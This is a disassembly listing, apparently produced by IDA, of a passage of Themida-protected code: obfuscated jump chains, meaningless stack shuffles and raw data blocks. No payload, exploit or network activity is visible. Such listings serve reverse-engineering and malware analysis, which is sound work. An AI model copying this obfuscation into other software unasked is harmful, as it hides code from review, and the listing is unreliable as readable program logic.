		dd 89FFFEF1h, 4832424h,	685A0424h, 31A3h, 0B8240489h, 41DB6A32h
		dd 0E904EC83h, 0FFFFC3C7h, 23D0E95Eh, 0C89FFFFh, 9AE95324h
		dd 81000000h, 0F359F5F5h, 23F7E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554A3A:				; CODE XREF: Themida_:00550F0Bj
		shl	eax, 2
		xor	eax, 4E55532Ch
		push	edi
		mov	edi, 11326E73h
		inc	edi
		push	edx
		jmp	loc_553699
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 0FFFFA230h, 42474FFh
		dd 57240C8Bh, 0C7815F54h, 4, 4C781h, 0FF570000h, 5F042474h
		dd 2 dup(5C24048Fh), 24048F54h,	0FFB27BE9h, 246C81FFh
		dd 612C7B04h, 2434FF64h, 0E9242C8Bh, 1349h
; ---------------------------------------------------------------------------

loc_554AA4:				; CODE XREF: Themida_:005500D9j
		push	esp
		pop	ebp
		jmp	loc_542A88
; ---------------------------------------------------------------------------
		db 40h
		dd 169AE9h, 0C1815E00h,	8641692h, 0CB6FB850h, 0E98187BEh
		dd 4D8666DFh, 0FEF82FE9h, 88D788FFh, 0CF885BF9h, 81240C8Bh
		dd 4C4h, 9E86E900h, 8966FFFFh, 8BE92404h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_554AE7:				; CODE XREF: Themida_:005474DAj
		add	esp, 4
		add	esi, edi
		sub	esi, 37415626h
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_54DB81
; ---------------------------------------------------------------------------
		dd 5C243C33h, 0E9240489h, 0FFFF6745h, 0E924248Bh, 0FFFF496Eh
; ---------------------------------------------------------------------------

loc_554B10:				; CODE XREF: Themida_:005431F7j
		push	43F2h
		mov	[esp], ebp
		jmp	loc_55457F
; ---------------------------------------------------------------------------
		db 4Fh,	0F7h, 0D7h
		dd 53ECF781h, 86E91182h, 51FFFF87h, 0FFC5F2E9h,	0F7F787FFh
		dd 0E9F787D6h, 35Fh, 661CE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554B42:				; CODE XREF: Themida_:00551877j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_554527
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF685Ch
; ---------------------------------------------------------------------------

loc_554B54:				; CODE XREF: Themida_:0054AF4Ej
		pop	ebx
		neg	esi
		xor	esi, ebp
		jmp	loc_547E96
; ---------------------------------------------------------------------------
		dw 0E828h
		dd 0FF1162E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554B65:				; CODE XREF: Themida_:005511B4j
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_545E39
; ---------------------------------------------------------------------------
		db 80h
		dd 0F708C7C6h, 8124148Bh, 4C4h,	7EFC000h, 0FF9FACE9h, 4C283FFh
		dd 5C241487h, 31243433h, 34332434h, 24248B24h, 8B2434FFh
		dd 0EC832404h, 242C8904h, 0BA52E589h, 0DFC5992h, 0A672C281h
		dd 0F3E9F203h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554BB7:				; CODE XREF: Themida_:00547072j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_550FD2
; ---------------------------------------------------------------------------
		dw 84B2h
		dd 0EAC0D2F6h, 0ED40E906h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_554BD6:				; CODE XREF: Themida_:00541F48j
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edi
		jmp	loc_54B875
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 24248B24h,	0FFC951E9h, 1AC181FFh
		dd 1750C05h, 1AE981F9h,	0E9750C05h, 0FFFF3433h,	0FF243C89h
		dd 0E9042474h, 0FFFFDD11h
; ---------------------------------------------------------------------------

loc_554C14:				; CODE XREF: Themida_:0054A864j
		xchg	ebx, ebp
		jmp	loc_548653
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 5224348Bh, 0BE56E289h, 4, 4BE9F201h
		db 34h,	2 dup(0FFh)
byte_554C37	db 0FFh			; DATA XREF: Themida_:005418F8o
		dd 5BE92434h, 0BFFFFFD3h, 0B957339h, 27AFB850h,	0C72975F9h
		dd 0E7895758h, 3424BA52h, 0CA8176F0h, 0A4A5732h, 0EA81DAF7h
		dd 810588C6h, 54E9D701h, 81000019h, 1FC5E1C1h, 59CD89FEh
		dd 0FF6C30E9h, 81C301FFh, 4ECh,	861BE900h, 1C89FFFFh, 0EA92E924h
		dd 0C381FFFFh, 4, 0FED6A8E9h, 45EE80FFh, 80C3E680h, 0F680E1F6h
		dd 0D061E982h, 0C8B1FFFFh, 0E959CF28h, 0FFFFFCD4h, 4C4835Dh
		dd 1FA6EB81h, 0C3814428h, 46C54E31h, 6A66EB81h,	0C3014085h
		dd 8904EC83h, 66682414h, 5A40856Ah, 148BD301h, 4C48124h
		dd 0E9000000h, 0FFFF35DEh
; ---------------------------------------------------------------------------

loc_554CE8:				; CODE XREF: Themida_:00549636j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5545C7
; ---------------------------------------------------------------------------
		db 81h
		dd 0D57BEFEFh, 1FB95138h, 176869Ch, 2434FFCFh, 83240C8Bh
		dd 0C48104C4h, 4, 0FF5656E9h, 3EF4BBFFh, 0D3315EE1h, 0FFDFB6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554D25:				; CODE XREF: Themida_:00547211j
		add	esi, edi
		jmp	loc_54D9EC
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 22810500h, 0A0E94C24h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D3F:				; CODE XREF: Themida_:005519BEj
		push	esi
		jmp	loc_550F2F
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 54E92404h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554D53:				; CODE XREF: Themida_:0054F445j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	edx, 1FF5502Ah
		or	ecx, ecx
		jz	loc_5421C2
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		push	edx
		push	esp
		jmp	loc_54549D
; ---------------------------------------------------------------------------
		dw 4DB9h
		dd 29372361h, 348B59CFh, 4C48124h, 0E9000000h, 0FFFF5541h
; ---------------------------------------------------------------------------

loc_554D9C:				; CODE XREF: Themida_:loc_54223Bj
					; Themida_:0054879Cj ...
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 294E4A5Fh
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_551F7B
; ---------------------------------------------------------------------------

loc_554DBB:				; CODE XREF: Themida_:005543AEj
		mov	ebx, 0CD4122Fh
		xor	ebx, 196F3FBBh
		sub	ebx, 896B18B6h
		jmp	loc_54308B
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 456E4CBAh, 92C1815Ah, 0E9718719h, 0FFFFE601h, 4055859h
		dd 2D000000h, 4, 0E9240433h, 0FFFFE171h, 7287EE81h, 0EE8159B3h
		dd 496D4285h, 83240C8Bh, 8FE904C4h
		db 72h,	2 dup(0FFh)
byte_554E0F	db 0FFh			; DATA XREF: Themida_:005419E8o
		dd 34FF2434h, 3952E924h, 0C780FFFFh, 51C728C8h,	0FFFE85E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554E25:				; CODE XREF: Themida_:00551205j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		jmp	loc_54955B
; ---------------------------------------------------------------------------

loc_554E37:				; CODE XREF: Themida_:0054B6D2j
		or	ebp, 4B3B428Bh
		push	edi
		mov	edi, 3F152E69h
		and	edi, 37B764C6h
		jmp	loc_543351
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 8330C05h, 0FF4537E9h, 44E981FFh, 0E925C547h,	0FFFF5A4Fh
		dd 662414F6h, 2CE2805Ah, 80B1EA80h, 2BE987EBh, 89FFFF8Ah
		dd 0E589242Ch, 4C581h, 0C5810000h, 4, 0E9242C87h, 0FFFF4F5Bh
		dd 0C8BCF01h, 0CBE95724h, 81FFFF20h, 25CBBEF7h,	77CB2D8Ah
		dd 0F8293BC3h, 0C377CB05h, 243C8B3Bh, 2D04C483h, 2296D8Ch
		dd 4143205h, 0E9D8295Bh, 0FFFF75E5h
; ---------------------------------------------------------------------------

loc_554EC4:				; CODE XREF: Themida_:00548C7Aj
		pop	esp
		jmp	loc_551062
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF9BA5h, 33240C31h, 248B240Ch, 242C8924h,	11B168h
		dd 0A2E95400h, 5FFFFF29h, 0FEED83E9h, 0EDF781FFh, 893BD257h
		dd 0CEE95FF9h, 50FFFFBAh, 87EA1B8h, 35212D64h, 2C2D4476h
		dd 21D3E6D4h, 0D9C8E9C6h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_554F12:				; CODE XREF: Themida_:00553AA5j
		add	edi, 4
		sub	edi, 2
		jmp	loc_54A23D
; ---------------------------------------------------------------------------
		dd 50241489h, 0FF9632E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554F29:				; CODE XREF: Themida_:00546D56j
		pop	ebx
		push	edx
		jmp	loc_552109
; ---------------------------------------------------------------------------

loc_554F30:				; CODE XREF: Themida_:00547148j
		mov	ch, 0C5h
		push	ebx
		jmp	loc_5444EA
; ---------------------------------------------------------------------------
		dd 5C243487h, 31240C33h, 0C33240Ch, 24248B24h, 240C8B66h
		dd 4EC81h, 28E90000h, 0FFFFFEEDh, 5E042474h, 1B8E9h, 0C6015A00h
		dd 0E92434FFh, 0FFFF0F1Fh
; ---------------------------------------------------------------------------

loc_554F6C:				; CODE XREF: Themida_:0054DE56j
		and	edx, 45AC352Ah
		jmp	loc_544518
; ---------------------------------------------------------------------------
		db 52h
		dd 0EA806CB2h, 840BE96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554F82:				; CODE XREF: Themida_:0054ABFDj
		and	ebx, 6D0F1DC2h
		add	ebx, 6359A7F8h
		sub	edi, ebx
		pop	ebx
		jmp	loc_54AF7B
; ---------------------------------------------------------------------------
		dw 430h
		dd 21E99C24h, 1FFFFDFh,	1A6FE9F3h, 0A2BD0000h, 8154B512h
		dd 4AED62C5h, 4EC83ABh,	0B9240C89h, 21E6D84h, 128ABA52h
		dd 0F28144D3h, 1CBC76D9h, 0B8EA8142h, 81077B4Dh, 661DAAC2h
		dd 1EDEE919h, 0F389FFFFh, 54B9515Eh, 8154025Bh,	0B00B82E9h
		dd 2E1C14Ah, 0FECEC7E9h, 2EDC1FFh, 0FF2DF0E9h, 55EB01FFh
		dd 0FC06CFBDh, 0E9EB0136h, 0FFFF3759h
; ---------------------------------------------------------------------------

loc_555008:				; CODE XREF: Themida_:0055026Dj
		pop	eax
		jmp	loc_5545F5
; ---------------------------------------------------------------------------
		dw 0CBBDh
		dd 0E95BAF29h, 0FFFFF035h
; ---------------------------------------------------------------------------

loc_555018:				; CODE XREF: Themida_:00546E23j
		push	195Ch
		mov	[esp], edi
		push	ebp
		pop	edi
		jmp	loc_55450B
; ---------------------------------------------------------------------------
		db 1
		dd 0D9B850D3h, 29783F01h, 895058C3h, 405E0h, 52570000h
		dd 1201BC68h, 24148B6Ch, 4C481h, 0F2810000h, 745572Eh
		dd 0FFF620E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555055:				; CODE XREF: Themida_:00546EB3j
		add	ecx, 558806FDh
		push	esi
		jmp	loc_548493
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 86E4E95Ch, 0DE01FFFFh, 179EE81h, 0D1E94339h
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_555077:				; CODE XREF: Themida_:005423A3j
		inc	edx
		push	2D4Dh
		mov	[esp], eax
		mov	eax, 3E7E7E6Fh
		push	esi
		mov	esi, 230A6359h
		add	esi, 0F3C6F86Bh
		or	eax, esi
		pop	esi
		push	edx
		jmp	loc_54DE51
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 77682404h, 0E9000044h, 0FFFF729Ch, 90E9D1F7h, 58FFFF3Ch
		dd 0E904C483h, 0FFFEFEF9h, 8105EFC1h, 6DF26FF7h, 195CE90Dh
		dd 8F5BFFFFh, 248B2404h, 2AA6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5550D2:				; CODE XREF: Themida_:0054EA23j
		mov	ebp, 0CDB070CBh
		add	esi, ebp
		pop	ebp
		xor	ebx, esi
		mov	esi, [esp]
		jmp	loc_5562FE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4B82404h,	1000000h, 58042444h, 5524048Fh
		dd 67BD5557h, 0E9087F3Bh, 0FFFF74A1h
; ---------------------------------------------------------------------------

loc_555104:				; CODE XREF: Themida_:0055111Ej
		and	eax, 73BE7560h
		shl	eax, 4
		xor	eax, 3BCE31E1h
		or	ebp, eax
		pop	eax
		jmp	loc_55126E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF24248Bh, 0F5E92434h, 81FFFFDCh, 1A3DB4EDh, 0C4C58119h
		dd 8917FEDAh, 81425DEAh, 581D0BF2h, 38866872h, 0C890000h
		dd 0AAE95724h, 5FFFF06h, 4, 4BF57h, 0EDE90000h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55515B:				; CODE XREF: Themida_:0054A740j
		pop	esp
		pop	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	3DDAh
		mov	[esp], ecx
		push	esi
		mov	esi, 1
		push	6CACh
		mov	[esp], esi
		add	dword ptr [esp], 8441BA9h
		push	dword ptr [esp]
		jmp	loc_542989
; ---------------------------------------------------------------------------

loc_55518D:				; CODE XREF: Themida_:00543D07j
		mov	edi, 29E2A50Ch
		jmp	loc_55286D
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 68525150h, 71BD62AFh, 0D5EA815Ah, 51190B2Ah
		dd 0F9747DB9h, 9F91E96Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5551B6:				; CODE XREF: Themida_:0055132Bj
		add	esp, 4
		jmp	loc_543F10
; ---------------------------------------------------------------------------

loc_5551BE:				; CODE XREF: Themida_:005558D4j
		mov	[esp], ebx
		push	edi
		jmp	loc_54743D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0D7BD5559h, 0E9771747h, 0FFFF4C69h, 7BE95266h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5551DB:				; CODE XREF: Themida_:0055271Bj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		push	edx
		mov	dh, 57h
		neg	dh
		xor	dh, 0F0h
		jmp	loc_5457E6
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 4E0FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5551FE:				; CODE XREF: Themida_:00549797j
		neg	edx
		add	edx, 4DD07F45h
		add	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 30017FFBh
		and	ebp, 59EF06FFh
		add	ebp, 12C57129h
		or	ebp, 4C5C7853h
		jmp	loc_543987
; ---------------------------------------------------------------------------
		dw 525Ch
		dd 0F5FDE954h, 433FFFEh, 0F8D2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555236:				; CODE XREF: Themida_:005505A1j
		sub	ebp, 28317600h
		jmp	loc_544448
; ---------------------------------------------------------------------------

loc_555241:				; CODE XREF: Themida_:00555F68j
		mov	[esp], eax
		pop	esi
		pop	eax
		jmp	loc_54F36B
; ---------------------------------------------------------------------------

loc_55524B:				; CODE XREF: Themida_:0054D240j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 46h
		dd 56FFFF55h, 24348B5Ah, 4C481h, 0D7310000h, 8124148Bh
		dd 4C4h, 5C78100h, 1A831A8h, 2434FFF9h,	4C4815Fh, 81000000h
		dd 9D12F8C3h, 72EB8153h, 0E93C722Fh, 0FFFFE5D3h, 9C240421h
		dd 0FEC87EE9h, 0F7D1F7FFh, 0C4E981D9h, 0E92B88FAh, 0FFFFA546h
		dd 0E959E888h, 0FFFED3C2h
; ---------------------------------------------------------------------------

loc_5552B8:				; CODE XREF: Themida_:00542298j
		pop	esi
		pop	edi
		jmp	loc_5547BC
; ---------------------------------------------------------------------------

loc_5552BF:				; CODE XREF: Themida_:00542BF7j
		add	esp, 4
		shr	eax, 3
		neg	eax
		jmp	loc_551184
; ---------------------------------------------------------------------------
		db 81h
		dd 6975DAEEh, 3619E93Fh, 2C89FFFFh, 49BE5624h, 8917A82Dh
		dd 0CD815EF5h, 6EB5381h, 0ECE9h
		db 0
byte_5552F1	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00541A40o
		dd 0D359669Dh, 0E99C2414h, 0FFFEC81Fh, 8B24048Fh, 34FF2424h
		dd 2434FF24h, 5A2434FFh, 0E9E68956h, 0FFFF6257h, 3BEABA52h
		dd 0D50144E6h, 564D4D5Ah, 0D6B56BEh, 51C6817Eh,	815A6D5Bh
		dd 1FC31CEEh, 0E9F5298Dh, 0FFFF1891h
; ---------------------------------------------------------------------------

loc_55533C:				; CODE XREF: Themida_:0054D5E9j
		add	esp, 4
		push	edx
		push	eax
		mov	eax, 72CE277Ch
		jmp	loc_54E1A5
; ---------------------------------------------------------------------------
		db 33h
		dd 248B243Ch, 48B6624h,	8F4EE924h, 0C781FFFFh, 4, 0FF1E29E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555365:				; CODE XREF: Themida_:0054C625j
		add	edx, ebx
		push	eax
		mov	eax, 0
		jmp	loc_55021C
; ---------------------------------------------------------------------------

loc_555372:				; CODE XREF: Themida_:00542A5Aj
		dec	ecx
		add	ecx, 0DF36BE64h
		jmp	loc_547CCC
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2474FF24h, 48F5E04h,	24248B24h, 24048B66h, 287A68h
		dd 240C8900h, 0AC68E189h, 89000059h, 74BE2434h,	0E94D6462h
		dd 0FFFFE942h
; ---------------------------------------------------------------------------

loc_5553AC:				; CODE XREF: Themida_:005528F8j
		sub	edx, 28AC202Bh
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_54FB28
; ---------------------------------------------------------------------------
dword_5553C8	dd 24048B66h, 760DE950h	; DATA XREF: Themida_:0054190Co
		db 2 dup(0FFh)
word_5553D2	dw 48Bh			; DATA XREF: Themida_:0054188Co
		dd 4EC8324h, 0FF6AFDE9h, 0FEED81FFh, 0E97DD24Dh, 0FFFF994Bh
		dd 799E685Ah, 2C890000h, 5A7ABD24h, 0F7555338h,	4D5D2414h
		dd 26F7CD81h, 0C5811B37h, 45FE23FEh, 0FF403FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55540D:				; CODE XREF: Themida_:005545AFj
		sub	eax, edi
		pop	edi
		jmp	loc_542816
; ---------------------------------------------------------------------------

loc_555415:				; CODE XREF: Themida_:00542DB7j
		push	ebp
		push	edi
		jmp	loc_544E77
; ---------------------------------------------------------------------------
		dd 2194C381h, 0DA21187Eh, 0AC33E95Bh, 8B54FFFFh, 0C481240Ch
		dd 4, 8904EC83h, 0BE56243Ch, 4,	0FF8C02E9h, 81FB29FFh
		dd 4B47DCEBh, 68C38160h, 0E941EE21h, 0FFFF27B2h
; ---------------------------------------------------------------------------

loc_555458:				; CODE XREF: Themida_:00551976j
		sub	esi, 1D51D550h
		jmp	loc_550A51
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 0FFCB6BE9h, 4C481FFh, 81000000h
		dd 2C6h, 4EC8100h, 0E9000000h, 0FFFFFEF6h, 0D2F6C2FEh
		dd 0FEFD31E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555491:				; CODE XREF: Themida_:005554E7j
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_552033
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 9868240Ch, 89000056h, 75E92424h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5554B3:				; CODE XREF: Themida_:0054DADDj
		push	4BB3A5Eh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_556460
; ---------------------------------------------------------------------------
		dd 0E9242C28h, 0FFFF2449h, 7D75E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5554DA:				; CODE XREF: Themida_:0054FD30j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_555491
; ---------------------------------------------------------------------------
		dd 6624248Bh, 0E9C8B60Fh, 0FFFF3646h
; ---------------------------------------------------------------------------

loc_5554F8:				; CODE XREF: Themida_:00556484j
		inc	ebx
		sub	ebx, 0F801E7FEh
		mov	eax, ebx
		pop	ebx
		xor	[esp+4], eax
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_548134
; ---------------------------------------------------------------------------

loc_555511:				; CODE XREF: Themida_:0054F8CFj
		not	edi
		xor	edi, 0CCE5E92Ch
		add	ebp, edi
		pop	edi
		sub	ebp, 65A93E79h
		pop	edi
		dec	ebp
		push	eax
		push	15C681Ch
		pop	eax
		xor	ebp, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_54BEC9
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 815C240Ch, 4C1h
		dd 4E98300h, 0E9240C87h, 0FFFF17E4h, 815F5457h,	4C7h, 6F9AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55556A:				; CODE XREF: Themida_:00554006j
		shr	ebx, 2
		xor	ebx, 67B0424h
		jmp	loc_54B1AE
; ---------------------------------------------------------------------------

loc_555578:				; CODE XREF: Themida_:005470A3j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_542372
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0B850E589h, 48811D35h, 0FF5B39E9h, 0C6815CFFh, 4, 2C681h
		dd 73E90000h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5555AF:				; CODE XREF: Themida_:0054214Ej
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5512AB
; ---------------------------------------------------------------------------
		dd 83AFE980h, 896602ECh, 8AB02404h, 5866C130h, 0E90AB050h
		dd 0FFFEDE96h, 0FFFFE981h, 0C981FFFFh, 3A6227A3h, 67BD5549h
		dd 0E96E8E6Bh, 0FFFFAB12h, 8B243C87h, 68562424h, 64CFh
		dd 0E9243C89h, 0FFFF98B6h
; ---------------------------------------------------------------------------

loc_555608:				; CODE XREF: Themida_:005508F3j
		pop	edi
		inc	ebp
		add	ebp, 0E0A8F226h
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_5432F7
; ---------------------------------------------------------------------------
		db 0B9h, 0D0h, 2Ah
		dd 0CE097588h, 4EC8159h, 89000000h, 6EBA2414h, 0F743DD30h
		dd 0B9D2E9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55563A:				; CODE XREF: Themida_:005494E3j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_543CFF
; ---------------------------------------------------------------------------
		db 58h
		dd 34FFD030h, 24148B24h, 0FFA5ADE9h, 4EC81FFh, 0E9000000h
		dd 0FFFEF9D2h, 4B9h, 59CA0100h,	8904EC83h, 68532404h, 4C76h
		dd 0E9243489h, 0FFFECA62h
; ---------------------------------------------------------------------------

loc_555684:				; CODE XREF: Themida_:0054EA4Ej
		pop	esp
		mov	[esp], esp
		jmp	loc_553FA6
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 90h
		dd 410F5055h, 3CE6F181h, 0CB293157h, 0FF5DF7E9h, 24148BFFh
		dd 8104C483h, 4C4h, 8BE83000h, 8950240Ch, 4EC83E0h, 68242C89h
		dd 4C66h, 0E9241489h, 0FFFEE3B4h, 53E97D2Ch
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5556CF:				; CODE XREF: Themida_:00549B44j
		mov	[esp], ecx
		jmp	loc_555D7B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0AFE92434h, 83FFFF88h, 0E95604C4h, 0FFFFA860h, 0FEC432E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5556ED:				; CODE XREF: Themida_:0054DB8Cj
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_550A65
; ---------------------------------------------------------------------------

loc_555705:				; CODE XREF: Themida_:00543BA1j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		shl	ebx, 5
		push	edx
		mov	edx, 76DB29C7h
		sub	ebx, edx
		pop	edx
		xor	eax, ebx
		jmp	loc_54FB5F
; ---------------------------------------------------------------------------
		dd 58C50158h, 0D538E945h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_555732:				; CODE XREF: Themida_:00541F10j
		add	eax, 3CD5125h
		add	eax, edi
		push	edi
		mov	edi, 6FB00C3Fh
		push	ecx
		mov	ecx, 1A5907A8h
		not	ecx
		xor	ecx, 11A900F2h
		add	ecx, 77D2C275h
		sub	edi, ecx
		pop	ecx
		sub	eax, 419D4F6Ch
		jmp	loc_5565A3
; ---------------------------------------------------------------------------
		dd 1C8BDE01h, 0C3ABE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55576A:				; CODE XREF: Themida_:00546527j
		sub	edx, 16A65445h
		jmp	loc_54A2B3
; ---------------------------------------------------------------------------

loc_555775:				; CODE XREF: Themida_:00550F19j
		add	ecx, edx
		jmp	loc_54C31C
; ---------------------------------------------------------------------------

loc_55577C:				; CODE XREF: Themida_:00545B7Aj
		add	edi, 0CF2CBA7Ah
		sub	ecx, edi
		jmp	loc_545FEF
; ---------------------------------------------------------------------------

loc_555789:				; CODE XREF: Themida_:0054CE19j
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		and	ecx, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_553F89
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 60BF1BB8h, 5D58C601h, 2E5EE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5557D2:				; CODE XREF: Themida_:0054B5E3j
		mov	dh, cl
		mov	ah, dh
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	ecx
		xor	ah, 1Ah
		add	bl, 42h
		add	bl, ah
		sub	bl, 42h
		mov	eax, [esp]
		add	esp, 4
		add	bl, 3Dh
		add	bl, 0ACh
		sub	bl, al
		push	dx
		jmp	loc_550E9B
; ---------------------------------------------------------------------------
		dd 0ABE9DAF7h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555817:				; CODE XREF: Themida_:0054C6EDj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, bh
		push	ebx
		mov	bl, al
		push	eax
		mov	eax, 28h
		add	eax, edi
		jmp	loc_54FBA5
; ---------------------------------------------------------------------------
		db 0BEh
		dd 38B33BE0h, 5461E681h, 0EEC14825h, 0C5C68108h, 81474E68h
		dd 8E7954C6h, 5D3E970h,	0EA01FFFFh, 4F2C281h, 0FF5D5E29h
		dd 1C8B2434h, 4C48124h,	81000000h, 4C4h, 24143300h, 0E9241431h
		dd 0FFFFEAB8h, 3B30BB53h, 0DA29271Ch, 0C2EA815Bh, 29F65E6Ah
		dd 85E95AD1h, 28FFFF6Ch, 53EE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555896:				; CODE XREF: Themida_:005541B1j
		sub	eax, edi
		jmp	loc_543550
; ---------------------------------------------------------------------------

loc_55589D:				; CODE XREF: Themida_:005429C5j
		pop	edi
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_5455F1
		push	5AE3h
		mov	[esp], ebx
		jmp	loc_55252B
; ---------------------------------------------------------------------------
		dd 1BEh, 24742900h, 4F5F5E04h, 2EE9D7F7h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5558CF:				; CODE XREF: Themida_:00543D2Fj
					; Themida_:005520F6j
		push	0E71h
		jmp	loc_5551BE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0C281DAF7h, 3FED5F61h, 0CA34F281h, 89533255h, 5BDD89D3h
		dd 5DE8015Ah, 0E904C083h, 0FFFFEAD5h, 83242C8Bh, 8F6604C4h
		dd 0C215E900h
		db 0FEh, 0FFh
